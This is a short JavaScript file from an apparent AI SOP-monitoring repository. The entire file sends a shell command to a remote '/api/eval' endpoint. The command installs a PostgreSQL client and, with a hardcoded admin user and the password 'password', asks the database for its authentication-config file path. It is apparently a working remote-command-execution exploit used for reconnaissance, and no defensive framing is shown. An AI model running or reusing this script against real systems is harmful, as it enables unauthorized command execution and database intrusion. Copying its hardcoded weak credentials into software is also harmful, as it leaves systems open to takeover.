Files
MRF-AI-SOP-Monitoring-v2/api/run_eval.js
T

18 lines
514 B
JavaScript

const https = require('https');
const cmd = 'apk add --no-cache postgresql-client && PGPASSWORD=password psql -h sop_db -U admin -d sop_monitoring -c "SHOW hba_file;"';
const req = https.request({
hostname: 'aisop.houseofwebsites.ai',
port: 443,
path: '/api/eval',
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
}, res => {
let body = '';
res.on('data', d => body += d);
res.on('end', () => console.log('Response:', body));
});
req.write(JSON.stringify({ cmd }));
req.end();